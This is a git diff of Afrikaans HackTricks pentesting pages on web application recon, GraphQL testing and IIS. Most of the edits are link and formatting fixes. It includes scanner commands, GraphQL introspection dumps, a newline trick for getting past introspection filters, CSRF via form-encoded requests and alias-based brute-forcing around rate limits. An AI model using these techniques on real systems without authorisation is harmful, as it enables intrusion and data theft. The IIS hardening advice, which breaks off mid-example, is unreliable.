Die **HTTP-koptekste en koekies van die respons** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word, te **identifiseer**. **Nmap-scan** kan die bedienerweergawe identifiseer, maar dit kan ook nuttig wees die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
|
||||
Soek na **kwesbaarhede van die webtoepassing** **weergawe**
|
||||
|
||||
### **Kyk of daar enige WAF is**
|
||||
|
@ -97,7 +101,7 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t
|
|||
* [**H2 - Java SQL-databasis**](h2-java-sql-database.md)
|
||||
* [**IIS truuks**](iis-internet-information-services.md)
|
||||
* [**JBOSS**](jboss.md)
|
||||
* [**Jenkins**](broken-reference/)
|
||||
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/af/network-services-pentesting/pentesting-web/broken-reference/README.md)
|
||||
* [**Jira**](jira.md)
|
||||
* [**Joomla**](joomla.md)
|
||||
* [**JSP**](jsp.md)
|
||||
|
@ -108,7 +112,7 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t
|
|||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
* [**Tomcat**](tomcat.md)
|
||||
* [**Tomcat**](tomcat/)
|
||||
* [**VMWare**](vmware-esx-vcenter....md)
|
||||
* [**Web API Pentesting**](web-api-pentesting.md)
|
||||
* [**WebDav**](put-method-webdav.md)
|
||||
|
@ -116,7 +120,7 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
*Neem in ag dat dieselfde domein verskillende tegnologieë in verskillende poorte, vouers en subdomeine kan gebruik.*\
|
||||
_Neem in ag dat dieselfde domein verskillende tegnologieë in verskillende poorte, vouers en subdomeine kan gebruik._\
|
||||
As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om op die internet te **soek na nuwe truuks** (en laat my weet!).
|
||||
|
||||
### Bronkode-oorsig
|
||||
|
@ -137,6 +141,7 @@ As die **bronkode** van die toepassing beskikbaar is op **github**, behalwe om s
|
|||
### Outomatiese skandeerders
|
||||
|
||||
#### Algemene doel outomatiese skandeerders
|
||||
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
|
@ -148,21 +153,24 @@ nuclei -ut && nuclei -target <URL>
|
|||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||
```
|
||||
|
||||
#### CMS skandeerders
|
||||
|
||||
Indien 'n CMS gebruik word, moenie vergeet om **'n skandeerder** uit te voer nie, dalk word iets sappigs gevind:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **of** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
|
||||
> Op hierdie punt behoort jy reeds enige inligting te hê oor die webbediener wat deur die klient gebruik word (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n paar skandeerders laat loop.
|
||||
|
||||
## Stap-vir-stap Webtoepassingsontdekking
|
||||
|
@ -185,7 +193,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
Webbedieners kan **onverwags optree** wanneer vreemde data aan hulle gestuur word. Dit kan **kwesbaarhede** of **gevoelige inligting openbaar**.
|
||||
|
||||
* Toegang tot **vals bladsye** soos /whatever\_fake.php (.aspx,.html,.ens.)
|
||||
* Voeg "\[]", "]]", en "\[\["** in **koekiewaardes** en **parameter** waardes om foute te skep
|
||||
* Voeg "\[]", "]]", en "\[\["\*\* in **koekiewaardes** en **parameter** waardes om foute te skep
|
||||
* Skep fout deur inset te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
|
||||
* Probeer **verskillende HTTP-werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE
|
||||
|
||||
|
@ -201,7 +209,8 @@ As jy vind dat **WebDav** **geaktiveer** is, maar jy het nie genoeg regte vir **
|
|||
* As die aansoek **nie die gebruik van HTTPS afdwing nie** op enige punt, is dit **kwesbaar vir MitM**
|
||||
* As die aansoek **gevoelige data (wagwoorde) stuur deur HTTP** te gebruik. Dan is dit 'n hoë kwesbaarheid.
|
||||
|
||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir **kwesbaarhede** (In Bug Bounty-programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
|
||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir **kwesbaarhede** (In Bug Bounty-programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)om die kwesbaarhede weer te kontroleer:
|
||||
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -210,6 +219,7 @@ Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir *
|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
|
||||
Inligting oor SSL/TLS kwesbaarhede:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
|
@ -323,7 +333,7 @@ _Merk op dat elke keer as 'n nuwe gids ontdek word tydens brute-forcing of spide
|
|||
|
||||
**502 Proksi Fout**
|
||||
|
||||
As enige bladsy met daardie kode **reageer**, is dit waarskynlik 'n sleg gekonfigureerde proksi. **As jy 'n HTTP versoek stuur soos: `GET https://google.com HTTP/1.1`** (met die gasheerkop en ander algemene koppe), sal die **proksi** probeer om _**google.com**_ **te besoek en jy sal 'n** SSRF **gevind het.
|
||||
As enige bladsy met daardie kode **reageer**, is dit waarskynlik 'n sleg gekonfigureerde proksi. **As jy 'n HTTP versoek stuur soos: `GET https://google.com HTTP/1.1`** (met die gasheerkop en ander algemene koppe), sal die **proksi** probeer om _**google.com**_ **te besoek en jy sal 'n** SSRF \*\*gevind het.
|
||||
|
||||
**NTLM-verifikasie - Inligting openbaarmaking**
|
||||
|
||||
|
@ -334,12 +344,13 @@ Jy kan dit **outomatiseer** deur die **nmap invoegtoepassing** "_http-ntlm-info.
|
|||
**HTTP Aanwysing (CTF)**
|
||||
|
||||
Dit is moontlik om inhoud binne 'n **Aanwysing** te **plaas**. Hierdie inhoud sal nie aan die gebruiker gewys word nie (aangesien die blaaier die aanwysing sal uitvoer) maar iets kan **daarin versteek** wees.
|
||||
|
||||
### Web Kwesbaarhede Kontrole
|
||||
|
||||
Nou wat 'n omvattende opsomming van die webtoepassing uitgevoer is, is dit tyd om vir 'n hele paar moontlike kwesbaarhede te kyk. Jy kan die kontrolelys hier vind:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %}
|
||||
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Vind meer inligting oor web kwesbaarhede in:
|
||||
|
@ -352,13 +363,14 @@ Vind meer inligting oor web kwesbaarhede in:
|
|||
|
||||
Jy kan gereedskap soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye vir wysigings te monitor wat moontlik kwesbaarhede kan invoeg.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
### HackTricks Outomatiese Opdragte
|
||||
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
@ -428,6 +440,7 @@ Name: Ffuf Vhost
|
|||
Description: Simple Scan with Ffuf for discovering additional vhosts
|
||||
Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -44,9 +44,11 @@ Die instrument [**graphw00f**](https://github.com/dolevf/graphw00f) is in staat
|
|||
#### Universele navrae <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
Om te kontroleer of 'n URL 'n GraphQL-diens is, kan 'n **universele navraag**, `query{__typename}`, gestuur word. As die respons `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL-eindpunt huisves. Hierdie metode steun op GraphQL se `__typename`-veld, wat die tipe van die ondervraagde objek onthul.
|
||||
|
||||
```javascript
|
||||
query{__typename}
|
||||
```
|
||||
|
||||
### Basiese Opsomming
|
||||
|
||||
Graphql ondersteun gewoonlik **GET**, **POST** (x-www-form-urlencoded) en **POST**(json). Alhoewel dit vir sekuriteit aanbeveel word om slegs json toe te laat om CSRF aanvalle te voorkom.
|
||||
|
@ -54,9 +56,11 @@ Graphql ondersteun gewoonlik **GET**, **POST** (x-www-form-urlencoded) en **POST
|
|||
#### Introspeksie
|
||||
|
||||
Om introspeksie te gebruik om skema-inligting te ontdek, ondervra die `__schema` veld. Hierdie veld is beskikbaar op die hooftipe van alle navrae.
|
||||
|
||||
```bash
|
||||
query={__schema{types{name,fields{name}}}}
|
||||
```
|
||||
|
||||
Met hierdie navraag sal jy die name van al die tipes wat gebruik word, vind:
|
||||
|
||||
![](<../../.gitbook/assets/image (202).png>)
|
||||
|
@ -74,16 +78,19 @@ Met hierdie navraag kan jy al die tipes, hul velde, en hul argumente (en die tip
|
|||
**Foute**
|
||||
|
||||
Dit is interessant om te weet of die **foute** sal **verskyn** aangesien hulle sal bydra tot nuttige **inligting**.
|
||||
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
?query={thisdefinitelydoesnotexist}
|
||||
```
|
||||
|
||||
**Enumerateer Databasis-skema deur Introspeksie**
|
||||
|
||||
{% hint style="info" %}
|
||||
As introspeksie geaktiveer is, maar die bogenoemde navraag nie uitgevoer word nie, probeer om die `onOperation`, `onFragment`, en `onField` riglyne uit die navraagstruktuur te verwyder.
|
||||
{% endhint %}
|
||||
|
||||
```bash
|
||||
#Full introspection query
|
||||
|
||||
|
@ -173,10 +180,13 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
Inline inspeksie navraag:
|
||||
|
||||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
|
||||
Die laaste kode lyn is 'n graphql navraag wat al die meta-inligting van die graphql sal dump (voorwerpe name, parameters, tipes...)
|
||||
|
||||
![](<../../.gitbook/assets/image (206).png>)
|
||||
|
@ -196,17 +206,21 @@ Let daarop dat die tipe van die navraag "_flags_" is "_Flags_", en hierdie voorw
|
|||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
|
||||
|
||||
Jy kan sien dat die "_Flags_" voorwerpe saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae kry met die navraag:
|
||||
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
|
||||
Merk op dat in die geval waar die **voorwerp om te ondervra** 'n **primitiewe tipe** is soos **string** soos in die volgende voorbeeld
|
||||
|
||||
![](<../../.gitbook/assets/image (441).png>)
|
||||
|
||||
Jy kan dit net ondervra met:
|
||||
|
||||
```javascript
|
||||
query={hiddenFlags}
|
||||
```
|
||||
|
||||
In 'n ander voorbeeld waar daar 2 voorwerpe binne die "_Query_" tipe voorwerp was: "_user_" en "_users_".\
|
||||
As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan **alle inligting van hulle** net **gevra** word vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kon jy die gestoorde gebruikersname en wagwoorde onttrek:
|
||||
|
||||
|
@ -241,6 +255,7 @@ As jy kan soek volgens 'n string tipe, soos: `query={theusers(description: ""){u
|
|||
In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende wees met mekaar en het ook flieks, wat verhoudings binne die databasis aandui.
|
||||
|
||||
Jy kan persone **soek** volgens die **naam** en hul e-posse kry:
|
||||
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -248,7 +263,9 @@ email
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
Jy kan persone **volgens** hul **naam** **soek** en hul **geabonneerde** **films** kry:
|
||||
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -263,9 +280,11 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
Merk op hoe dit aangedui word om die `name` van die `subscribedMovies` van die persoon te herwin.
|
||||
|
||||
Jy kan ook **veral verskeie voorwerpe op dieselfde tyd soek**. In hierdie geval word 'n soektog na 2 flieks gedoen:
|
||||
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
|
@ -273,7 +292,9 @@ name
|
|||
}
|
||||
}r
|
||||
```
|
||||
|
||||
Of selfs **verhoudings van verskeie verskillende voorwerpe deur middel van aliase**:
|
||||
|
||||
```javascript
|
||||
{
|
||||
johnsMovieList: searchPerson(name: "John Doe") {
|
||||
|
@ -296,6 +317,7 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Mutations
|
||||
|
||||
**Mutations word gebruik om veranderinge aan die kant van die bediener te maak.**
|
||||
|
@ -307,6 +329,7 @@ In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volg
|
|||
In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende wees met mekaar en het ook flieks, wat verhoudings binne die databasis aandui.
|
||||
|
||||
'n Mutasie om **nuwe** flieks binne die databasis te skep kan soos die volgende wees (in hierdie voorbeeld word die mutasie `addMovie` genoem):
|
||||
|
||||
```javascript
|
||||
mutation {
|
||||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||||
|
@ -317,9 +340,11 @@ rating
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Let daarop hoe beide die waardes en tipe van data in die navraag aangedui word.**
|
||||
|
||||
Daarbenewens ondersteun die databasis 'n **mutasie**-operasie, genaamd `addPerson`, wat die skep van **persone** saam met hul assosiasies met bestaande **vriende** en **flieks** moontlik maak. Dit is noodsaaklik om te let daarop dat die vriende en flieks reeds in die databasis moet bestaan voordat hulle aan die nuutgeskepte persoon gekoppel word.
|
||||
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
|
@ -347,6 +372,7 @@ releaseYear
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Direktief Overbelasting
|
||||
|
||||
Soos verduidelik in [**een van die kwetsbaarhede wat in hierdie verslag beskryf word**](https://www.landh.tech/blog/20240304-google-hack-50000/), impliseer 'n direktief oorbelasting om 'n direktief selfs miljoene kere te roep om die bediener operasies te laat mors totdat dit moontlik is om dit DoS te maak.
|
||||
|
@ -377,6 +403,7 @@ Verder, die Burp Suite-uitbreiding [**GraphQuail**](https://github.com/forcesuns
|
|||
### **Omleiding van GraphQL Introspeksie Verdedigings**
|
||||
|
||||
Om beperkings op introspeksie-navrae in API's te omseil, is dit effektief om 'n **spesiale karakter na die `__schema` sleutelwoord** in te voeg. Hierdie metode maak gebruik van algemene ontwikkelaarsoorsigte in regex-patrone wat daarop gemik is om introspeksie te blok deur te fokus op die `__schema` sleutelwoord. Deur karakters soos **spasies, nuwe lyne, en kommas** by te voeg, wat GraphQL ignoreer maar dalk nie in ag geneem word in regex nie, kan beperkings omseil word. Byvoorbeeld, 'n introspeksie-navraag met 'n nuwe lyn na `__schema` mag sulke verdedigings omseil:
|
||||
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
|
@ -384,16 +411,19 @@ Om beperkings op introspeksie-navrae in API's te omseil, is dit effektief om 'n
|
|||
{queryType{name}}}"
|
||||
}
|
||||
```
|
||||
|
||||
Indien onsuksesvol, oorweeg alternatiewe versoekmetodes, soos **GET-versoeke** of **POST met `x-www-form-urlencoded`**, aangesien beperkings moontlik slegs op POST-versoeke van toepassing kan wees.
|
||||
|
||||
### **Ontdekking van Blootgestelde GraphQL-Strukture**
|
||||
|
||||
Wanneer introspeksie uitgeskakel is, is dit 'n nuttige strategie om die bronkode van die webwerf te ondersoek vir voorafgelaai queries in JavaScript-biblioteke. Hierdie queries kan gevind word deur die `Bronne`-tabblad in die ontwikkelaarshulpmiddels te gebruik, wat insigte in die API se skema bied en moontlik **blootgestelde sensitiewe queries** blootstel. Die opdragte om binne die ontwikkelaarshulpmiddels te soek is:
|
||||
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
file:* query
|
||||
```
|
||||
|
||||
## CSRF in GraphQL
|
||||
|
||||
As jy nie weet wat CSRF is nie, lees die volgende bladsy:
|
||||
|
@ -405,20 +435,24 @@ As jy nie weet wat CSRF is nie, lees die volgende bladsy:
|
|||
Daar buite sal jy verskeie GraphQL eindpunte vind wat **gekonfigureer is sonder CSRF-tokens.**
|
||||
|
||||
Let daarop dat GraphQL-versoeke gewoonlik gestuur word via POST-versoeke met die Inhouds-Tipe **`application/json`**.
|
||||
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
|
||||
Echter, die meeste GraphQL eindpunte ondersteun ook **`form-urlencoded` POST-aanvrae:**
|
||||
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
|
||||
Daarom, aangesien CSRF-versoeke soos die voriges sonder vooraanvrae gestuur word, is dit moontlik om veranderinge in die GraphQL te maak deur 'n CSRF te misbruik.
|
||||
|
||||
Let egter daarop dat die nuwe verstek koekie waarde van die `samesite` vlag van Chrome `Lax` is. Dit beteken dat die koekie slegs van 'n derde party-web gestuur sal word in GET-versoeke.
|
||||
|
||||
Let daarop dat dit gewoonlik moontlik is om die navraagversoek ook as 'n GET-versoek te stuur en dat die CSRF-token moontlik nie in 'n GET-versoek gevalideer word nie.
|
||||
|
||||
Daarbenewens kan dit moontlik wees om inhoud van die GraphQL-eindpunt te eksfiltreer deur die gebruikers se geloofsbriewe te misbruik deur 'n [XS-Soek](../../pentesting-web/xs-search.md) aanval te misbruik.
|
||||
Daarbenewens kan dit moontlik wees om inhoud van die GraphQL-eindpunt te eksfiltreer deur die gebruikers se geloofsbriewe te misbruik deur 'n [XS-Soek](../../pentesting-web/xs-search/) aanval te misbruik.
|
||||
|
||||
Vir meer inligting, sien die [oorspronklike pos hier](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
|
@ -429,6 +463,7 @@ Baie GraphQL-funksies wat op die eindpunt gedefinieer is, mag slegs die verifika
|
|||
Die wysiging van navraag invoer veranderlikes kan lei tot die uitlek van sensitiewe rekeningbesonderhede.
|
||||
|
||||
Mutasi kan selfs lei tot rekening oorneem pogings om ander rekeningdata te wysig.
|
||||
|
||||
```javascript
|
||||
{
|
||||
"operationName":"updateProfile",
|
||||
|
@ -436,6 +471,7 @@ Mutasi kan selfs lei tot rekening oorneem pogings om ander rekeningdata te wysig
|
|||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||||
}
|
||||
```
|
||||
|
||||
### Omgang met outorisasie in GraphQL
|
||||
|
||||
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak outentiseringsisteem omseil.
|
||||
|
@ -453,6 +489,7 @@ Vir 'n gedetailleerde begrip van GraphQL aliase word die volgende bron aanbeveel
|
|||
Terwyl die primêre doel van aliase is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde geval geïdentifiseer waar aliase gebruik kan word om brute force aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefgrense wat ontwerp is om brute force aanvalle te stuit deur die **aantal HTTP-versoeke** te beperk. Hierdie tariefgrense mag egter nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliase toelaat dat meervoudige navrae in 'n enkele HTTP-versoek ingesluit word, kan hulle sulke tariefgrensmaatreëls omseil.
|
||||
|
||||
Oorweeg die onderstaande voorbeeld wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkelafslagkodes te verifieer. Hierdie metode kan tariefgrense omseil aangesien dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik die verifikasie van verskeie afslagkodes gelyktydig kan toelaat.
|
||||
|
||||
```bash
|
||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||
query isValidDiscount($code: Int) {
|
||||
|
@ -467,6 +504,7 @@ valid
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Gereedskap
|
||||
|
||||
### Kwesbaarheidsskandeerders
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# IIS - Internet Inligtingsdienste
|
||||
# IIS - Internet Information Services
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
@ -24,41 +24,43 @@ Toets uitvoerbare lêeruitbreidings:
|
|||
## Openbaarmaking van interne IP-adres
|
||||
|
||||
Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verwyder en HTTP/1.0 te gebruik. Binne die respons kan die Location-kop na die interne IP-adres verwys:
|
||||
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
```
|
||||
|
||||
### Response wat die interne IP-adres bekend maak:
|
||||
|
||||
As jy 'n HTTP-aanvraag stuur na 'n IIS-bediener, kan jy soms 'n respons ontvang wat die interne IP-adres van die bediener bekend maak. Hierdie inligting kan nuttig wees vir 'n aanvaller om verdere aanvalle te beplan.
|
||||
|
||||
Dit is belangrik om hierdie inligting te beskerm en te voorkom dat dit uitlek. Om dit te doen, moet jy die volgende stappe volg:
|
||||
|
||||
1. Stel die `UseHostName`-parameter in op `true` in die `applicationHost.config`-lêer. Hierdie parameter verseker dat die bediener die hostnaam in plaas van die IP-adres in die HTTP-respons gebruik.
|
||||
1. Stel die `UseHostName`-parameter in op `true` in die `applicationHost.config`-lêer. Hierdie parameter verseker dat die bediener die hostnaam in plaas van die IP-adres in die HTTP-respons gebruik.
|
||||
|
||||
```plaintext
|
||||
<system.webServer>
|
||||
<httpProtocol>
|
||||
<customHeaders>
|
||||
